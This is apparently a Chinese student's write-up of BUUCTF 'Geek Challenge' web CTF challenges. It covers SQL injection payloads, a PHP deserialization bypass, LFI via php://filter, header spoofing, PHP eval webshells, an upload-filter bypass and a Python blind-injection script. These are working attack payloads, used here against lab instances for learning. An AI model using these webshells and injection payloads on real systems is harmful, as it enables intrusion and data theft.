BUU-Web刷题记录 极客大挑战

谭总表示可以先刷 BUU 里的极客大挑战系列,所以就来这里快乐一下

目前可公开的情报:(已解决😂)

0x00 EasySQL

Analysis

考察项: SQL注入

WriteUp

又是开幕雷击,又是开幕雷击!吓屎宝宝了,不过伊福克斯面具还是很帅的😀

是让我们输入用户名和密码,题目已经给出了提示了,这题是一道简单的 SQL 注入

直接在用户名处输入 ' or 1 = 1# 就完事了,密码随便输输就好~~~

最后就爆出 flag 啦😝

1
flag{a60963f7-b859-46fb-afb4-5f0d136e2e63}

0x01 Havefun

Analysis

考察项: F12的使用(doge)

WriteUp

这题贼萌,点开可以撸猫😄

首先 F12 检查代码,在底部发现了一段注释

1
2
3
4
5
6
7
<!--
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
-->

很显然,我们只需要用 GET 传入一个叫做 cat 的,值为 ‘dog’ 的参数就行了

payload:/?cat=dog

然后爆出 flag 😀

1
flag{93feadc3-aefe-4b6d-945e-844cf5ee73c5}

0x02 PHP

Analysis

考察项: 代码审计 | PHP | 反序列化漏洞

参考项: PHP反序列化漏洞

WriteUp

一开头就看见了一个超萌的猫(虽然这不应该是关注点,但是……怎么说呢……虽然有点沙雕……但是我逗它玩了好久……)

咳咳,言归正传,页面上已经给出了提示:备份网站,所以直接加个 www.zip 后缀访问一下得到源代码文件

1
2
3
4
5
class.php
flag.php
index.js
index.php
style.css

关注点肯定是三个 php 文件啦,分别打开

index.php
1
2
3
4
5
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?> // 去掉无关紧要的 HTML 部分之后,发现存在反序列化
class.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
include 'flag.php';


error_reporting(0); // 去除所有错误警告

class Name{
private $username = 'nonono'; // 注意是私有属性
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){ // 魔术函数之一,在反序列化之前调用
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) { // password 的值必须为 100
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') { // username 必须为 'admin'
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();


}
}
}
?>
flag.php
1
2
3
<?php  # 明显获取 flag
$flag = 'Syc{dog_dog_dog_dog}';
?>

这里附上大佬博客 php反序列化漏洞绕过魔术方法 __wakeup

有一个很需要注意的点,就是 private 私有变量序列化之后的格式是不一样滴,然后要绕过 __wakeup() 的话,**当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)**,所以在原来的基础 2 上加 1 即可

构造 payload: ?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

最后爆出 flag 😄

1
flag{eabdf796-f1f1-4505-8c81-6b509a640cc5}

0x03 Secret File

Analysis

考察项: 抓包 | LFI本地文件包含

参考项: LFI本地文件包含漏洞

WriteUp

首先查看源代码,进入一个新的网页,然后点击按钮进入了新的网页,告诉我们已经过去了

直接抓包呗👌 (PS:柠檬大佬和我的这一步有区别,此处附上他的解法:柠檬的题解

请求:
1
2
3
4
5
6
7
8
9
GET /action.php HTTP/1.1
Host: 1f08ab14-6edd-42c2-b110-b5c11f207774.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://1f08ab14-6edd-42c2-b110-b5c11f207774.node3.buuoj.cn/Archive_room.php
Upgrade-Insecure-Requests: 1
响应:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
HTTP/1.1 302 Found
Server: openresty
Date: Sat, 29 Feb 2020 13:05:52 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 63
Connection: close
Location: end.php
X-Powered-By: PHP/7.3.11

<!DOCTYPE html>

<html>
<!--
secr3t.php
-->
</html>

然后进入 secr3t.php,出现代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>

告诉我们 flag 在 flag.php 里面,然后一去,啥都莫得,emm直接用文件包含(见参考项)

构造 payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php

然后得到 Base64 编码的 flag.php 源代码

1
PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7MjgzNDNjMmUtYWIwMC00MmFkLThjNGQtYmM0ZjY3M2M0Mjk1fSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=

然后 Base64 解码,略略略😋

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<!DOCTYPE html>

<html>

<head>
<meta charset="utf-8">
<title>FLAG</title>
</head>

<body style="background-color:black;"><br><br><br><br><br><br>

<h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>

<p style="font-family:arial;color:red;font-size:20px;text-align:center;">
<?php
echo "我就在这里";
$flag = 'flag{28343c2e-ab00-42ad-8c4d-bc4f673c4295}';
$secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
?>
</p>
</body>

</html>

当当当,得到 flag 😝

1
flag{28343c2e-ab00-42ad-8c4d-bc4f673c4295}

0x04 Knife

Analysis

考察项: 一句话木马

参考项: Web安全 – 一句话木马 | 中国菜刀使用指南

WriteUp

这题……一开始直接把 webshell 丢了出来嗷,还怕别人不知道要用菜刀,特意做了提示

webshell:eval($_POST["Syc"]);

直接打开菜刀连上 key ,找了一下发现了存放 flag 的文件(so easy~)

得到flag 😄

1
flag{29a9d621-9f53-4dfe-b65c-26b9da437d70}

0x05 LoveSQL

Analysis

考察项: SQL注入 — 联合查询

参考项: SQL注入之联合查询注入

WriteUp

打开网页,首先用户名直接输入 ' or 1 = 1 #,密码随便输了个,得到了一个显然没有任何用的网页

于是退回构造 payload: ?username='order by 4 %23&password=a,得到期望的返回:

1
Unknown column '4' in 'order clause'

显然列数为 3,接下来爆库

构造 payload: ?username=1' union select 1,2,group_concat(schema_name) from information_schema.schemata %23 &password=a

成功爆出:

1
2
Hello 2!
Your password is 'information_schema,test,performance_schema,mysql,geek'

然后进行爆表🐷

构造 payload: ?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() %23 &password=a

成功爆出:

1
2
Hello 2!
Your password is 'geekuser,l0ve1ysq1'

最后爆列🙃

构造 payload: ?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() %23 &password=a

成功爆出:

1
2
Hello 2!
Your password is 'id,username,password,id,username,password'

猜测是在 password 中,构造 payload: ?username=1' union select 1,2,group_concat(password) from l0ve1ysq1 %23 &password=a

成功爆出 flag,o((>ω< ))o

1
flag{d33d782a-ecd5-4175-801a-f5389f9ba636}

0x06 Http

Analysis

考察项: Http请求头

WriteUp

这一题一开始也不是很懂其实……还是要感谢柠檬的帮助,我一开始是用 BP 抓包,然后一直做不出,然后柠檬提示了可以直接……在页面上修改😂

那就没啥问题了😂,首先打开网页(页面做的很不错,有点想盗走😁),然后直接审查源代码,发现了 Secret.php,直接跟进,页面显示出:

1
It doesn't come from 'https://www.Sycsecret.com'

所以添加请求头:

1
Referer: https://www.Sycsecret.com

然后得到页面显示:

1
Please use "Syclover" browser

即添加请求头:

1
User-Agent: Syclover

再然后得到页面显示:

1
No!!! you can only read this locally!!!

很明显,再次添加请求头:

1
X-Forwarded-For: 127.0.0.1

最后得到 flag 😄

1
flag{38e90db9-b4be-49ee-bf4a-7c983d3c51a7}

0x07 BuyFlag

Analysis

考察项: 代码审计 | PHP | HTTP请求头

参考项: is_numeric()函数安全漏洞

WriteUp

进入网页,发现了 pay.php 网页,进入看到标语: 👍

1
Flag need your 100000000 money

还挺黑心……然后接下来看到 ATTENTION,发现了提示:

1
2
3
If you want to buy the FLAG:
You must be a student from CUIT!!!
You must be answer the correct password!!!

在下面还有一段话:

1
Only Cuit's students can buy the FLAG

意思是只有 Cuit 的学生才可以买(?。?),没大问题,先放着😕

再然后查看源代码,发现了以下被注释掉的 php 代码

1
2
3
4
5
6
7
8
9
	~~~post money and password~~~
if (isset($_POST['password'])) { // 判断 post 传来的 password 是否为空
$password = $_POST['password']; // 将 post 传来的 password 赋值给 $password
if (is_numeric($password)) { // is_numeric 判断 password 是否为数字或者数字字符串,如果是,则返回 true,输出错误
echo "password can't be number</br>";
}elseif ($password == 404) { // 当 password 为 404 时,返回正确
echo "Password Right!</br>";
}
}

对 php 代码进行分析,要满足 post 传入的 password 为 404 的时候,才可以购买 flag ,并且根据标语,我们要支付 100000000 money,其实意思就是 post 传入的 money 要为 100000000,然后这个时候出现了一个问题,就是 is_numeric 这个地方,如果单单传入 password=404 的话, if 会直接判断正确输出错误,所以我们要考虑绕过,在后面加一个空格就可以啦(参考 is_numeric()函数安全漏洞)😬

检查 Http请求头,发现了 cookie: user=0,联想到之前看到的Only Cuit's students can buy the FLAG,寻思着大概是修改这里,在火狐 hackbar 将其修改为 cookie: user=1,然后提交,显示出:

1
2
you are Cuiter
Please input your password!!

验证猜想正确,唔……在网上看到别的大神都是一眼就可以看出来的……我太菜了😵

然后就可以在 hackbar 添加 post 提交:

1
password=404%20&money=100000000

然后!居然……给我弹出了这个……😵

1
2
3
you are Cuiter
Password Right!
Nember lenth is too long

密码的确正确了,但是说我的 money 太长了,唔……于是考虑了科学计数法,重新填写 post :

1
password=404 &money=1e9

rua!爆出了 flag 😄

1
flag{4840bd2b-9480-4944-b36e-80df7c1a8413} 

Think

虽然这题是解出来了,但是期间非常难受,BP一直有问题我真是服了,最后还是感谢谭总提醒可以利用 hackbar,不然就直接爆炸 🌚

还有网上看到了别的大神的题解,说是 money 那个地方……可以借助 strcmp 函数的特性

此处呈上:strcmp()函数安全漏洞

在 money 后面加一个[]变为money[],直接绕过取得 flag,我还是太菜了😭

0x08 BabySQL

Analysis

考察项: SQL注入 — 联合查询 | 过滤字符双写绕过

WriteUp

这题一开始毫无解题思路,后来在网上参考了别人的 WP 才恍然大悟,从此多了种新姿势😬

这题是一道常规的双写绕过,其他地方几乎和 LoveSQL 一模一样欸

所以就直接一波操作:先查询列数,构造 payload: ?username=1%27 oorrder bbyy 4 %23&password=a

得到期望输出结果:

1
Unknown column '4' in 'order clause'

说明有三列,然后爆库

构造 payload: ?username=1%27 uniunionon selselectect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata %23&password=a

成功爆出:

1
2
Hello 2!
Your password is 'information_schema,test,performance_schema,mysql,geek,ctf'

然后进行爆表 😕

构造 payload: ?username=1%27 uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database() %23&password=a

成功爆出:

1
2
Hello 2!
Your password is 'b4bsql,geekuser'

最后爆列 😛

构造 payload: ?username=1%27 uniunionon selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema=database() %23&password=a

成功爆出:

1
2
Hello 2!
Your password is 'id,username,password,id,username,password'

有了上次 LoveSQL 的经验,直接进入 password 😁

构造 payload: ?username=1%27 uniunionon selselectect 1,2,group_concat(passwoorrd) frfromom b4bsql %23&password=a

爆出 flag!😆

1
flag{6e715bbf-57b1-4270-a214-c8a5792a11b3}

0x09 Upload

Analysis

考察项: 文件上传漏洞 | 一句话木马

参考项: PHP一句话木马小结 | 文件上传漏洞绕过技巧

WriteUp

前方高能误导,但是是我的真实经历,所以也一并列出 🌚

这一题一开始就是要提交一个图片,自然是文件上传漏洞,上传木马文件控制服务器 🙃

1
<?php eval($_POST['hack']) ?>

要求是图片,自然不能直接上传 php 文件,于是想到在控制台利用 copy 1.jfif/b+2.php/a hack.jfif  将图片与木马结合(图片木马(手动滑稽))

然后进行上传(这里似乎有文件大小验证,所以之前上传的一些都失败了,最后用的 jfif 😭),然后上传成功,只是显示了这么一段话:

1
NO! HACKER! your file included '<?'

很显然,网站会对文件进行检查并且过滤掉了 php 头 😡

然后在网上找了一些资料,发现可以利用 js 的方式绕过,于是重新写了 php 代码:

1
<script language="php">eval($_POST['hack']);</script>

然后再次上传,这一次上传非常成功,然后进入 upload,找到并打开上传的那个文件,成功显示,然后菜刀连接,然后…………🌚🌚🌚

就没有然后了,很显然我的有问题🌚,但是问题出在哪里呢,又上网找了一波资料,发现我寻思着要真的上传图片的想法是很有问题的……🌚

好了,这里开始正解 🌚🌚

打开 BP,随便上传一张图片,拦截下来,进行修改,将原来的内容修改为:

1
2
3
4
Content-Disposition: form-data; name="file"; filename="hack.jpg"
Content-Type: image/jpeg

<script language="php">eval($_POST['hk']);</script>

上传,好家伙,显示了这么一句话:

1
Don't lie to me, it's not image at all!!!

好滴吧,看来需要尝试文件头绕过,我用的是 GIF 的文件头幻数 GIF89a ,然后不知道为啥 JPG 的行不通嗷

再次上传,成功,然后查看 upload 发现 phtml 是没有过滤滴,所以最后的内容修改为:

1
2
3
4
5
Content-Disposition: form-data; name="file"; filename="hack.phtml"
Content-Type: image/jpeg

GIF89a
<script language="php">eval($_POST['hk']);</script>

上传,然后打开菜刀连接,文件太多不好找,直接在终端输入 cat /flag

获得 flag 🙂🙂🙂

1
flag{62921b55-5522-4235-aa02-7473a34e7b40}

0x010 HardSQL

Analysis

考察项: SQL注入 — 报错注入

参考项: 基于 updatexml 的报错注入

WriteUp

这题一开始冲上来直接一顿 union、select……然后被作者嘲讽: 你可别被我逮住了,臭弟弟 🌚

就TM离谱是不是,后来思考一下这题大概是把空格过滤了,用户名试了试 ' # 证明了空格被过滤的事实

但是问题就来了,我知道这一点点也没用,我当时并不知道该如何是好,感谢柠檬🍋师傅的提示,我去找了报错注入的相关资料学习,最后使用 updatexml 报错法注入

对了,由于空格被过滤了,所以可以用括号来代替之

现爆库

构造 payload : ?username=1%27or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=a

页面爆出错误信息:(也就是我们需要查询的结果)👍

1
XPATH syntax error: '~geek~'

再爆表

构造 payload: ?username=1%27or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=a

爆出错误信息 / 查询结果:

1
XPATH syntax error: '~H4rDsq1~'

然后查字段

构造 payload: ?username=1%27or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),0x7e),1))%23&password=a

爆出错误信息 / 查询结果:

1
XPATH syntax error: '~id,username,password~'

最后查水表……不是,咳咳,查数据 😝

构造 payload: ?username=1%27or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))%23&password=a

然后 rua!爆出 flag 😜

1
XPATH syntax error: '~flag{485496cb-a452-47f8-bc1f-02'

等……等下,Surprise mother fucker?咋只有一半?😱

看来还有半截在后面,没有爆出来,所以用 right 把 password 后面的爆出来,再次构造 payload

最后的 payload: ?username=1%27or(updatexml(1,concat(0x7e,(select(group_concat(right(password,20)))from(H4rDsq1)),0x7e),1))%23&password=a

终于是爆出了最后半截 flag

1
XPATH syntax error: '~8-bc1f-02da2fb264fd}~'

最后拼起来,就得到 flag 啦~~~ 😄

1
flag{485496cb-a452-47f8-bc1f-02da2fb264fd}

0x011 FinalSQL

蛋疼的盲注(建议写二分跑)

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import requests

# 返回字段
S = ''
# URL
# 爆库
url_1 = "http://191b65c7-05c5-4432-b77f-56d04b65f942.node3.buuoj.cn/search.php?id=1=(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{times},1))={num})=1"
# 爆表
url_2 = "http://191b65c7-05c5-4432-b77f-56d04b65f942.node3.buuoj.cn/search.php?id=1=(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{times},1))={num})=1"
# 爆列
url_3 = "http://191b65c7-05c5-4432-b77f-56d04b65f942.node3.buuoj.cn/search.php?id=1=(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')),{times},1))={num})=1"
# 爆字段信息
url_4 = "http://191b65c7-05c5-4432-b77f-56d04b65f942.node3.buuoj.cn/search.php?id=1=(ascii(substr((select(group_concat(fl4gawsl))from(Flaaaaag)),{times},1))={num})=1"
# 发现尼玛是假 flag 表
# 重新爆列
url_5 = "http://191b65c7-05c5-4432-b77f-56d04b65f942.node3.buuoj.cn/search.php?id=1=(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),{times},1))={num})=1"
# 重新爆字段信息(cnmd)
url_6 = "http://191b65c7-05c5-4432-b77f-56d04b65f942.node3.buuoj.cn/search.php?id=1=(ascii(substr((select(group_concat(password))from(F1naI1y)),{times},1))={num})=1"

# nums
'''
nums = [n for n in range(ord('a'), ord('z') + 1)]
nums.insert(0, ord(','))
nums.insert(0, ord('_'))
nums.insert(0, ord(':'))
nums.insert(0, ord('/'))
nums.insert(0, ord('.'))

for i in range(10):
nums.insert(0, ord(str(i)))

for i in range(ord('A'), ord('z') + 1):
nums.insert(0, i)
'''

nums = range(0, 128)

for times in range(1, 500):
k = True
for num in nums:
content = requests.get(url_6.format(times=times, num=num)).text
if 'Click' in content:
k = False
S += chr(num)
print(S)
break
if k is True:
print("END!!!!!!")
break

print(S)